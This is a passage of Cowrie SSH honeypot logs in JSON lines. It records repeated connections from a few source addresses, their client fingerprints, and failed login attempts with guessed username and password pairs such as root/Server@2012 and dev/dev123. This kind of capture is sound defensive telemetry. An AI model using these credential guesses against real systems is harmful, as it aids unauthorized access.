{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:12.332082Z","src_ip":"103.114.153.158","session":"744090ff03ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2012","message":"login attempt [root/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:13.163445Z","src_ip":"103.114.153.158","session":"744090ff03ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:13.644177Z","src_ip":"103.114.153.158","session":"744090ff03ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59142,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d198f2b7c80","protocol":"ssh","message":"New connection: 103.114.153.158:59142 (10.17.0.5:22) [session: 5d198f2b7c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:13.831265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:13.836272Z","src_ip":"103.114.153.158","session":"5d198f2b7c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:14.029778Z","src_ip":"103.114.153.158","session":"5d198f2b7c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2012","message":"login attempt [admin/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:14.814308Z","src_ip":"103.114.153.158","session":"5d198f2b7c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:15.295016Z","src_ip":"103.114.153.158","session":"5d198f2b7c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59148,"dst_ip":"10.17.0.5","dst_port":22,"session":"70fde3dfe035","protocol":"ssh","message":"New connection: 103.114.153.158:59148 (10.17.0.5:22) [session: 70fde3dfe035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:15.491153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:15.496294Z","src_ip":"103.114.153.158","session":"70fde3dfe035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:15.687944Z","src_ip":"103.114.153.158","session":"70fde3dfe035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2012","message":"login attempt [user/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:16.485212Z","src_ip":"103.114.153.158","session":"70fde3dfe035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:16.966280Z","src_ip":"103.114.153.158","session":"70fde3dfe035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59162,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ba014636c6d","protocol":"ssh","message":"New connection: 103.114.153.158:59162 (10.17.0.5:22) [session: 1ba014636c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:17.177195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:17.182163Z","src_ip":"103.114.153.158","session":"1ba014636c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:17.383507Z","src_ip":"103.114.153.158","session":"1ba014636c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2012","message":"login attempt [user2/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:18.202275Z","src_ip":"103.114.153.158","session":"1ba014636c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:18.682324Z","src_ip":"103.114.153.158","session":"1ba014636c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59166,"dst_ip":"10.17.0.5","dst_port":22,"session":"91057828b7ef","protocol":"ssh","message":"New connection: 103.114.153.158:59166 (10.17.0.5:22) [session: 91057828b7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:18.891238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:18.896668Z","src_ip":"103.114.153.158","session":"91057828b7ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:19.098268Z","src_ip":"103.114.153.158","session":"91057828b7ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2016","message":"login attempt [root/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:19.937884Z","src_ip":"103.114.153.158","session":"91057828b7ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:20.418068Z","src_ip":"103.114.153.158","session":"91057828b7ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42240,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb3b785fa7b9","protocol":"ssh","message":"New connection: 87.251.79.125:42240 (159.203.135.109:22) [session: fb3b785fa7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:20.483556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:20.489381Z","src_ip":"87.251.79.125","session":"fb3b785fa7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:20.571930Z","src_ip":"87.251.79.125","session":"fb3b785fa7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":58990,"dst_ip":"10.17.0.5","dst_port":22,"session":"15e5c7c2ee15","protocol":"ssh","message":"New connection: 103.114.153.158:58990 (10.17.0.5:22) [session: 15e5c7c2ee15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:20.610829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:20.615765Z","src_ip":"103.114.153.158","session":"15e5c7c2ee15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:20.811363Z","src_ip":"103.114.153.158","session":"15e5c7c2ee15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shorty","message":"login attempt [root/shorty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:20.909747Z","src_ip":"87.251.79.125","session":"fb3b785fa7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":44222,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7d172c8e56a","protocol":"ssh","message":"New connection: 103.25.47.94:44222 (159.203.135.109:22) [session: b7d172c8e56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:21.013418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:21.017767Z","src_ip":"103.25.47.94","session":"b7d172c8e56a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:21.242363Z","src_ip":"103.25.47.94","session":"b7d172c8e56a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2016","message":"login attempt [admin/Server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:21.625172Z","src_ip":"103.114.153.158","session":"15e5c7c2ee15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:21.993042Z","src_ip":"87.251.79.125","session":"fb3b785fa7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:22.105424Z","src_ip":"103.114.153.158","session":"15e5c7c2ee15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123","message":"login attempt [dev/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:22.173709Z","src_ip":"103.25.47.94","session":"b7d172c8e56a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":58998,"dst_ip":"10.17.0.5","dst_port":22,"session":"369e83a0c969","protocol":"ssh","message":"New connection: 103.114.153.158:58998 (10.17.0.5:22) [session: 369e83a0c969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:22.325846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:22.331369Z","src_ip":"103.114.153.158","session":"369e83a0c969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":40550,"dst_ip":"10.17.0.5","dst_port":22,"session":"99029af5b1da","protocol":"ssh","message":"New connection: 101.47.156.21:40550 (10.17.0.5:22) [session: 99029af5b1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:22.435510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:22.441684Z","src_ip":"101.47.156.21","session":"99029af5b1da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:22.537144Z","src_ip":"103.114.153.158","session":"369e83a0c969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 